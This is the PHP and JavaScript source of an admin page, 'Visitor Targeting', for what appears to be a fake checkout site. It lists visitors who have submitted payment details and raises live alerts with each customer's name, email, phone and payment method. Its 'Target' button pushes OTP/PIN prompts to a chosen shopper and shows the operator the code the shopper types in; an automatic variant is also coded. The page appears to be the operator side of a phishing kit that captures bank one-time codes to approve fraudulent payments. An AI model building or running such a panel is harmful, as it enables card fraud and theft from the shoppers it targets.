<?php
// Include authentication check
require_once 'auth_check.php';

// Admin page for visitor targeting
$currentPage = 'visitor_targeting';

// Include required files
require_once '../functions/data_handler.php';
require_once '../functions/visitor_identification.php';
require_once '../config/backend.php';

// Get active visitors from WebSocket server
$activeVisitors = [];
$allVisitors = [];
$visitorsJson = false;

// Try to get visitors from WebSocket API
$context = stream_context_create([
    'http' => [
        'timeout' => 10,
        'method' => 'GET',
        'header' => 'Content-Type: application/json'
    ]
]);

try {
    $visitorsJson = @file_get_contents(API_URL, false, $context);
    if ($visitorsJson !== false) {
        $allVisitors = json_decode($visitorsJson, true) ?? [];
        
        // Filter only visitors who are processing orders (have submitted payment)
        $activeVisitors = array_filter($allVisitors, function($visitor) {
            return isset($visitor['processingOrder']) && $visitor['processingOrder'] === true;
        });
    }
} catch (Exception $e) {
    error_log("Error fetching visitors: " . $e->getMessage());
}

// Get leads data for dropdown
$leads = getLeadsData();

// Debug information
$debugInfo = [
    'websocket_api_available' => $visitorsJson !== false,
    'websocket_response' => $visitorsJson,
    'all_visitors_count' => count($allVisitors),
    'visitors_count' => count($activeVisitors),
    'current_time' => date('Y-m-d H:i:s'),
    'active_visitors' => $activeVisitors,
    'all_visitors' => $allVisitors,
    'api_url' => API_URL,
    'error_message' => $visitorsJson === false ? 'Failed to connect to WebSocket API' : null
];

// WebSocket connection for admin
$adminWebSocketUrl = WEBSOCKET_URL . '?user_type=admin';

include 'includes/header.php';
?>

<div class="container-fluid">
    <div class="row">
        <div class="col-12">
            <div class="d-flex justify-content-between flex-wrap flex-md-nowrap align-items-center pt-3 pb-2 mb-3 border-bottom">
                <h1 class="h2">
                    <i class="fas fa-bullseye text-primary mr-2"></i>
                    Visitor Targeting
                </h1>
                <div class="btn-toolbar mb-2 mb-md-0">
                    <div class="btn-group mr-2">
                        <button type="button" class="btn btn-sm btn-outline-secondary" onclick="location.reload()">
                            <i class="fas fa-sync-alt"></i> Refresh
                        </button>
                    </div>
                </div>
            </div>
            
            <div class="alert alert-info" role="alert">
                <i class="fas fa-info-circle mr-2"></i>
                <strong>Real-time Visitor Targeting:</strong> Send targeted OTP/PIN requests to specific visitors currently browsing your site.
            </div>

            <?php if (isset($message)): ?>
                <div class="alert alert-<?php echo $messageType; ?> alert-dismissible fade show" role="alert">
                    <?php echo htmlspecialchars($message); ?>
                    <button type="button" class="close" data-dismiss="alert" aria-label="Close">
                        <span aria-hidden="true">&times;</span>
                    </button>
                </div>
            <?php endif; ?>

            <!-- Debug Information -->
            <div class="card mb-4">
                <div class="card-header">
                    <h5 class="card-title mb-0">Debug Information</h5>
                </div>
                <div class="card-body">
                    <p><strong>WebSocket API Available:</strong> <?php echo $debugInfo['websocket_api_available'] ? 'Yes' : 'No'; ?></p>
                    <p><strong>All Visitors Count:</strong> <?php echo $debugInfo['all_visitors_count']; ?></p>
                    <p><strong>Processing Orders Count:</strong> <?php echo $debugInfo['visitors_count']; ?></p>
                    <p><strong>Current Time:</strong> <?php echo $debugInfo['current_time']; ?></p>
                    <details>
                        <summary>WebSocket API Response</summary>
                        <pre><?php echo htmlspecialchars($debugInfo['websocket_response']); ?></pre>
                    </details>
                    <details>
                        <summary>All Visitors Array</summary>
                        <pre><?php echo htmlspecialchars(print_r($debugInfo['all_visitors'], true)); ?></pre>
                    </details>
                    <details>
                        <summary>Processing Orders Visitors Array</summary>
                        <pre><?php echo htmlspecialchars(print_r($debugInfo['active_visitors'], true)); ?></pre>
                    </details>
                    <p><a href="../test_websocket_system.html" class="btn btn-sm btn-info">Test WebSocket System</a></p>
                </div>
            </div>

            <!-- Statistics Cards -->
            <div class="row mb-4">
                <div class="col-xl-3 col-md-6 mb-4">
                    <div class="card border-left-primary shadow h-100 py-2">
                        <div class="card-body">
                            <div class="row no-gutters align-items-center">
                                <div class="col mr-2">
                                    <div class="text-xs font-weight-bold text-primary text-uppercase mb-1">Total Visitors</div>
                                    <div class="h5 mb-0 font-weight-bold text-gray-800"><?php echo count($activeVisitors); ?></div>
                                </div>
                                <div class="col-auto">
                                    <i class="fas fa-users fa-2x text-gray-300"></i>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
                
                <div class="col-xl-3 col-md-6 mb-4">
                    <div class="card border-left-success shadow h-100 py-2">
                        <div class="card-body">
                            <div class="row no-gutters align-items-center">
                                <div class="col mr-2">
                                    <div class="text-xs font-weight-bold text-success text-uppercase mb-1">Checkout Visitors</div>
                                    <div class="h5 mb-0 font-weight-bold text-gray-800">
                                        <?php 
                                        $checkoutVisitors = array_filter($activeVisitors, function($v) { 
                                            return $v['userType'] === 'checkout'; 
                                        }); 
                                        echo count($checkoutVisitors); 
                                        ?>
                                    </div>
                                </div>
                                <div class="col-auto">
                                    <i class="fas fa-shopping-cart fa-2x text-gray-300"></i>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
                
                <div class="col-xl-3 col-md-6 mb-4">
                    <div class="card border-left-info shadow h-100 py-2">
                        <div class="card-body">
                            <div class="row no-gutters align-items-center">
                                <div class="col mr-2">
                                    <div class="text-xs font-weight-bold text-info text-uppercase mb-1">Admin Sessions</div>
                                    <div class="h5 mb-0 font-weight-bold text-gray-800">
                                        <?php 
                                        $adminVisitors = array_filter($activeVisitors, function($v) { 
                                            return $v['userType'] === 'admin'; 
                                        }); 
                                        echo count($adminVisitors); 
                                        ?>
                                    </div>
                                </div>
                                <div class="col-auto">
                                    <i class="fas fa-user-shield fa-2x text-gray-300"></i>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
                
                <div class="col-xl-3 col-md-6 mb-4">
                    <div class="card border-left-warning shadow h-100 py-2">
                        <div class="card-body">
                            <div class="row no-gutters align-items-center">
                                <div class="col mr-2">
                                    <div class="text-xs font-weight-bold text-warning text-uppercase mb-1">System Status</div>
                                    <div class="h5 mb-0 font-weight-bold text-gray-800">
                                        <span class="badge badge-<?php echo $debugInfo['websocket_api_available'] ? 'success' : 'danger'; ?>">
                                            <?php echo $debugInfo['websocket_api_available'] ? 'Online' : 'Offline'; ?>
                                        </span>
                                    </div>
                                </div>
                                <div class="col-auto">
                                    <i class="fas fa-server fa-2x text-gray-300"></i>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
            </div>

            <!-- Active Visitors -->
            <div class="card shadow mb-4">
                <div class="card-header py-3 d-flex flex-row align-items-center justify-content-between">
                    <h6 class="m-0 font-weight-bold text-primary">
                        <i class="fas fa-shopping-cart mr-2"></i>Visitors Processing Orders (<?php echo count($activeVisitors); ?>)
                    </h6>
                    <div class="dropdown no-arrow">
                        <a class="dropdown-toggle" href="#" role="button" id="dropdownMenuLink" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
                            <i class="fas fa-ellipsis-v fa-sm fa-fw text-gray-400"></i>
                        </a>
                        <div class="dropdown-menu dropdown-menu-right shadow animated--fade-in" aria-labelledby="dropdownMenuLink">
                            <div class="dropdown-header">Actions</div>
                            <a class="dropdown-item" href="#" onclick="location.reload()">
                                <i class="fas fa-sync-alt fa-sm fa-fw mr-2 text-gray-400"></i>
                                Refresh
                            </a>
                            <a class="dropdown-item" href="#" onclick="testWebSocketConnection()">
                                <i class="fas fa-plug fa-sm fa-fw mr-2 text-gray-400"></i>
                                Test Connection
                            </a>
                            <a class="dropdown-item" href="#" onclick="testAPI()">
                                <i class="fas fa-bug fa-sm fa-fw mr-2 text-gray-400"></i>
                                Test API
                            </a>
                            <a class="dropdown-item" href="../test_simple_api.html" target="_blank">
                                <i class="fas fa-external-link-alt fa-sm fa-fw mr-2 text-gray-400"></i>
                                Open API Test Page
                            </a>
                        </div>
                    </div>
                </div>
                <div class="card-body">
                    <?php if (empty($activeVisitors)): ?>
                        <div class="text-center py-4">
                            <i class="fas fa-shopping-cart fa-3x text-gray-300 mb-3"></i>
                            <h5 class="text-gray-600">No Visitors Processing Orders</h5>
                            <p class="text-gray-500">No visitors are currently processing orders. Visitors will appear here when they submit payment information.</p>
                            <a href="../checkout.php?product_id=4&debug=1" target="_blank" class="btn btn-primary">
                                <i class="fas fa-external-link-alt mr-2"></i>Open Checkout Page
                            </a>
                        </div>
                    <?php else: ?>
                        <div class="table-responsive">
                            <table class="table table-bordered" id="visitorsTable" width="100%" cellspacing="0">
                                <thead>
                                    <tr>
                                        <th>Visitor</th>
                                        <th>Type</th>
                                        <th>Connected</th>
                                        <th>Last Activity</th>
                                        <th>Actions</th>
                                    </tr>
                                </thead>
                                <tbody>
                                    <?php foreach ($activeVisitors as $visitor): ?>
                                        <tr>
                                            <td>
                                                <div class="d-flex align-items-center">
                                                    <div class="mr-3">
                                                        <div class="icon-circle bg-<?php echo $visitor['userType'] === 'checkout' ? 'success' : 'info'; ?>">
                                                            <i class="fas fa-<?php echo $visitor['userType'] === 'checkout' ? 'user' : 'user-shield'; ?> text-white"></i>
                                                        </div>
                                                    </div>
                                                    <div>
                                                        <div class="text-xs font-weight-bold text-primary text-uppercase mb-1">
                                                            <?php echo htmlspecialchars(substr($visitor['id'], 0, 20)) . '...'; ?>
                                                        </div>
                                                        <div class="text-xs text-gray-500">
                                                            ID: <?php echo htmlspecialchars($visitor['id']); ?>
                                                        </div>
                                                    </div>
                                                </div>
                                            </td>
                                            <td>
                                                <span class="badge badge-<?php echo $visitor['userType'] === 'checkout' ? 'success' : 'info'; ?> badge-pill">
                                                    <i class="fas fa-<?php echo $visitor['userType'] === 'checkout' ? 'shopping-cart' : 'user-shield'; ?> mr-1"></i>
                                                    <?php echo ucfirst($visitor['userType']); ?>
                                                </span>
                                            </td>
                                            <td>
                                                <div class="text-xs text-gray-600">
                                                    <?php echo date('M j, Y', strtotime($visitor['connectedAt'])); ?>
                                                </div>
                                                <div class="text-xs text-gray-500">
                                                    <?php echo date('g:i A', strtotime($visitor['connectedAt'])); ?>
                                                </div>
                                            </td>
                                            <td>
                                                <div class="text-xs text-gray-600">
                                                    <?php echo date('M j, Y', strtotime($visitor['lastSeen'])); ?>
                                                </div>
                                                <div class="text-xs text-gray-500">
                                                    <?php echo date('g:i A', strtotime($visitor['lastSeen'])); ?>
                                                </div>
                                            </td>
                                            <td>
                                                <?php if ($visitor['userType'] === 'checkout'): ?>
                                                    <button type="button" class="btn btn-sm btn-primary" 
                                                            onclick="showTargetModal('<?php echo htmlspecialchars($visitor['id']); ?>')"
                                                            title="Send targeted request">
                                                        <i class="fas fa-bullseye"></i> Target
                                                    </button>
                                                <?php else: ?>
                                                    <span class="text-muted">
                                                        <i class="fas fa-user-shield mr-1"></i>Admin
                                                    </span>
                                                <?php endif; ?>
                                            </td>
                                        </tr>
                                    <?php endforeach; ?>
                                </tbody>
                            </table>
                        </div>
                    <?php endif; ?>
                </div>
            </div>
        </div>
    </div>
</div>

<!-- Target Visitor Modal -->
<div class="modal fade" id="targetModal" tabindex="-1" aria-labelledby="targetModalLabel" aria-hidden="true">
    <div class="modal-dialog">
        <div class="modal-content">
            <div class="modal-header">
                <h5 class="modal-title" id="targetModalLabel">Target Visitor</h5>
                <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                    <span aria-hidden="true">&times;</span>
                </button>
            </div>
            <div>
                <input type="hidden" id="targetVisitorId">
                <div class="modal-body">
                    <div class="form-group">
                        <label for="targetLeadId">Select Visitor</label>
                        <select class="form-control" id="targetLeadId" required>
                            <option value="">Choose a visitor...</option>
                            <?php foreach ($activeVisitors as $visitor): ?>
                                <option value="<?php echo $visitor['id']; ?>" data-name="<?php echo htmlspecialchars($visitor['customerData']['customerName'] ?? 'Unknown'); ?>">
                                    <?php echo htmlspecialchars($visitor['customerData']['customerName'] ?? 'Unknown'); ?> (<?php echo $visitor['id']; ?>)
                                </option>
                            <?php endforeach; ?>
                        </select>
                    </div>
                    
                    <div class="form-group">
                        <label>Request Type</label>
                        <div class="form-check">
                            <input class="form-check-input" type="radio" name="requestType" id="otpRequest" value="otp" checked>
                            <label class="form-check-label" for="otpRequest">
                                <i class="fas fa-shield-alt"></i> Send OTP Request
                            </label>
                        </div>
                    </div>
                    
                    <div class="alert alert-info">
                        <strong>Target Visitor:</strong> <span id="targetVisitorDisplay"></span>
                    </div>
                </div>
                <div class="modal-footer">
                    <button type="button" class="btn btn-secondary" data-dismiss="modal">Cancel</button>
                    <button type="button" class="btn btn-primary" onclick="sendTargetedRequest()">
                        <i class="fas fa-paper-plane"></i> Send Request
                    </button>
                </div>
            </div>
        </div>
    </div>
</div>

<script>
let adminWebSocket = null;

// Initialize WebSocket connection
function initAdminWebSocket() {
    const wsUrl = '<?php echo $adminWebSocketUrl; ?>';
    
    adminWebSocket = new WebSocket(wsUrl);
    
    adminWebSocket.onopen = function() {
    };
    
    adminWebSocket.onmessage = function(event) {
        const message = JSON.parse(event.data);
        
        if (message.type === 'code_received') {
            showNotification('success', `Code received from visitor: ${message.code}`);
            playAlertSound('success');
            showBrowserNotification('Code Received', `OTP code received from visitor`);
        } else if (message.type === 'payment_submission_alert') {
            // Handle payment submission alert
            const customerData = message.customerData;
            const alertMessage = `🚨 PAYMENT SUBMISSION ALERT!\n\n` +
                `👤 Customer: ${customerData.customerName}\n` +
                `📧 Email: ${customerData.customerEmail}\n` +
                `📞 Phone: ${customerData.customerPhone}\n` +
                `💳 Payment: ${customerData.paymentMethod}\n` +
                `🛒 Product: ${customerData.productName}\n` +
                `💰 Amount: ${customerData.productPrice} RON\n` +
                `🆔 Visitor ID: ${message.visitorId}\n\n` +
                `⏰ Time: ${new Date(message.timestamp).toLocaleString()}`;
            
            showNotification('warning', alertMessage);
            playAlertSound('payment');
            showBrowserNotification('Payment Alert!', `New payment from ${customerData.customerName}`);
            
            // Refresh the visitors list to show the new visitor
            loadVisitors();
        } else if (message.type === 'visitor_connected') {
            showNotification('info', `New visitor connected: ${message.visitorId}`);
            playAlertSound('visitor');
            showBrowserNotification('New Visitor', `Visitor ${message.visitorId} connected`);
        } else if (message.type === 'visitor_activity') {
            showNotification('info', `Visitor activity: ${message.visitorId}`);
            playAlertSound('activity');
        }
    };
    
    adminWebSocket.onerror = function(error) {
        console.error('Admin WebSocket error:', error);
    };
    
    adminWebSocket.onclose = function() {
        setTimeout(initAdminWebSocket, 5000);
    };
}

function loadVisitors() {
    
    // Fetch visitors from API
    fetch('<?php echo API_URL; ?>')
        .then(response => response.json())
        .then(visitors => {
            
            // Filter only visitors who are processing orders
            const processingVisitors = visitors.filter(visitor => 
                visitor.processingOrder === true
            );
            
            
            // Update the visitors table
            updateVisitorsTable(processingVisitors);
        })
        .catch(error => {
            console.error('Error loading visitors:', error);
            showNotification('error', 'Failed to load visitors');
        });
}

function updateVisitorsTable(visitors) {
    const tbody = document.querySelector('#visitorsTable tbody');
    if (!tbody) return;
    
    // Clear existing rows
    tbody.innerHTML = '';
    
    if (visitors.length === 0) {
        tbody.innerHTML = '<tr><td colspan="4" class="text-center">No visitors processing orders</td></tr>';
        return;
    }
    
    // Add visitor rows
    visitors.forEach(visitor => {
        const row = document.createElement('tr');
        // Fetch lead ID from visitor data or fetch from leads.json
        const leadIdData = JSON.stringify({
            visitorId: visitor.id,
            customerName: visitor.customerData?.customerName || 'N/A',
            customerEmail: visitor.customerData?.customerEmail || 'N/A'
        });
        row.innerHTML = `
            <td>${visitor.id}</td>
            <td>${visitor.customerData?.customerName || 'N/A'}</td>
            <td>${visitor.customerData?.customerEmail || 'N/A'}</td>
            <td>
                <button class="btn btn-primary btn-sm" onclick='showTargetModal(${leadIdData})'>
                    Request OTP
                </button>
            </td>
        `;
        tbody.appendChild(row);
    });
}

function showTargetModal(visitorData) {
    
    // Store visitor data
    window.currentVisitorData = visitorData;
    
    document.getElementById('targetVisitorId').value = visitorData.visitorId;
    document.getElementById('targetVisitorDisplay').textContent = visitorData.visitorId;
    
    // Fetch lead ID from leads.json based on visitor ID
    fetchLeadIdByVisitorId(visitorData.visitorId);
    
    $('#targetModal').modal('show');
}

function fetchLeadIdByVisitorId(visitorId) {
    // Fetch leads.json to find the lead ID for this visitor
    fetch('../database/leads.json')
        .then(response => response.json())
        .then(leads => {
            const lead = leads.find(l => l.visitorId === visitorId);
            if (lead) {
                // Store the lead ID for later use
                window.currentLeadId = lead.id;
            } else {
                console.warn('No lead found for visitor:', visitorId);
                window.currentLeadId = null;
            }
        })
        .catch(error => {
            console.error('Error fetching lead ID:', error);
            window.currentLeadId = null;
        });
}

function sendTargetedRequest() {
    const visitorData = window.currentVisitorData;
    const leadId = window.currentLeadId;
    
    if (!visitorData || !leadId) {
        alert('Lead ID not found. Please wait and try again.');
        return;
    }
    
    const visitorId = visitorData.visitorId;
    const leadName = visitorData.customerName;
    const requestType = 'otp'; // Only OTP requests now
    
    
    // Send request via WebSocket API
    fetch('<?php echo SEND_REQUEST_URL; ?>', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/json',
        },
        body: JSON.stringify({
            visitorId: visitorId,
            leadId: leadId,
            leadName: leadName,
            requestType: requestType
        })
    })
    .then(response => response.json())
    .then(data => {
        if (data.success) {
            showNotification('success', data.message);
            $('#targetModal').modal('hide');
        } else {
            showNotification('error', data.message);
        }
    })
    .catch(error => {
        console.error('Error sending request:', error);
        showNotification('error', 'Failed to send request');
    });
}

function sendAutoOTPRequest(visitorId, customerData) {
    
    // Send automatic OTP request
    fetch('<?php echo SEND_REQUEST_URL; ?>', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/json',
        },
        body: JSON.stringify({
            visitorId: visitorId,
            leadId: 'auto_' + Date.now(),
            leadName: customerData.customerName,
            requestType: 'otp'
        })
    })
    .then(response => response.json())
    .then(data => {
        if (data.success) {
            showNotification('info', `🚀 Auto OTP request sent to ${customerData.customerName}`);
        } else {
            showNotification('error', `Failed to send auto OTP: ${data.message}`);
        }
    })
    .catch(error => {
        console.error('Error sending auto OTP:', error);
        showNotification('error', 'Failed to send auto OTP request');
    });
}

function showNotification(type, message) {
    // Create notification element
    const notification = document.createElement('div');
    notification.className = `alert alert-${type} alert-dismissible fade show`;
    notification.style.position = 'fixed';
    notification.style.top = '20px';
    notification.style.right = '20px';
    notification.style.zIndex = '9999';
    notification.style.maxWidth = '400px';
    notification.innerHTML = `
        <div style="white-space: pre-line;">${message}</div>
        <button type="button" class="close" data-dismiss="alert" aria-label="Close">
            <span aria-hidden="true">&times;</span>
        </button>
    `;
    
    // Insert at top of page
    document.body.appendChild(notification);
    
    // Auto-remove after 10 seconds for payment alerts, 5 seconds for others
    const timeout = message.includes('PAYMENT SUBMISSION') ? 10000 : 5000;
    setTimeout(() => {
        if (notification.parentNode) {
            notification.remove();
        }
    }, timeout);
}

// Audio alert function
function playAlertSound(type) {
    try {
        // Create audio context for different alert sounds
        const audioContext = new (window.AudioContext || window.webkitAudioContext)();
        
        let frequency, duration, volume;
        
        switch(type) {
            case 'payment':
                // Urgent beep for payment alerts
                frequency = 800;
                duration = 0.3;
                volume = 0.5;
                break;
            case 'visitor':
                // Medium beep for new visitors
                frequency = 600;
                duration = 0.2;
                volume = 0.3;
                break;
            case 'success':
                // High success beep
                frequency = 1000;
                duration = 0.1;
                volume = 0.4;
                break;
            case 'activity':
                // Low activity beep
                frequency = 400;
                duration = 0.1;
                volume = 0.2;
                break;
            default:
                frequency = 500;
                duration = 0.2;
                volume = 0.3;
        }
        
        // Create oscillator for beep sound
        const oscillator = audioContext.createOscillator();
        const gainNode = audioContext.createGain();
        
        oscillator.connect(gainNode);
        gainNode.connect(audioContext.destination);
        
        oscillator.frequency.setValueAtTime(frequency, audioContext.currentTime);
        oscillator.type = 'sine';
        
        gainNode.gain.setValueAtTime(0, audioContext.currentTime);
        gainNode.gain.linearRampToValueAtTime(volume, audioContext.currentTime + 0.01);
        gainNode.gain.exponentialRampToValueAtTime(0.001, audioContext.currentTime + duration);
        
        oscillator.start(audioContext.currentTime);
        oscillator.stop(audioContext.currentTime + duration);
        
    } catch (error) {
        // Fallback: use system beep if available
        try {
            const audio = new Audio('data:audio/wav;base64,UklGRnoGAABXQVZFZm10IBAAAAABAAEAQB8AAEAfAAABAAgAZGF0YQoGAACBhYqFbF1fdJivrJBhNjVgodDbq2EcBj+a2/LDciUFLIHO8tiJNwgZaLvt559NEAxQp+PwtmMcBjiR1/LMeSwFJHfH8N2QQAoUXrTp66hVFApGn+DyvmwhBz2BzvLZiTYIG2m98OScTgwOUarm7blmGgU6k9n1unEiBS13yO/eizEIHWq+8+OWT');
            audio.play().catch(() => {});
        } catch (e) {
        }
    }
}

// Browser notification function
function showBrowserNotification(title, message) {
    if ('Notification' in window && Notification.permission === 'granted') {
        const notification = new Notification(title, {
            body: message,
            icon: '/assets/logo.svg',
            badge: '/assets/logo.svg',
            tag: 'admin-alert',
            requireInteraction: true,
            silent: false
        });
        
        // Auto-close after 5 seconds
        setTimeout(() => {
            notification.close();
        }, 5000);
        
        // Handle click to focus window
        notification.onclick = function() {
            window.focus();
            notification.close();
        };
    }
}

// Initialize WebSocket on page load
document.addEventListener('DOMContentLoaded', function() {
    initAdminWebSocket();
    loadVisitors(); // Load visitors on page load
    
    // Request notification permission on page load
    if ('Notification' in window) {
        Notification.requestPermission();
    }
});

// Auto-refresh every 30 seconds
setInterval(function() {
    location.reload();
}, 30000);

// Test WebSocket connection function
function testWebSocketConnection() {
    if (adminWebSocket && adminWebSocket.readyState === WebSocket.OPEN) {
        showNotification('success', 'WebSocket connection is active');
    } else {
        showNotification('error', 'WebSocket connection is not active');
    }
}

// Test API function
function testAPI() {
        fetch('<?php echo API_URL; ?>')
        .then(response => response.json())
        .then(data => {
            showNotification('success', 'API working! Check console for details.');
        })
        .catch(error => {
            console.error('API Error:', error);
            showNotification('error', 'API Error: ' + error.message);
        });
}
</script>

<?php include 'includes/footer.php'; ?>
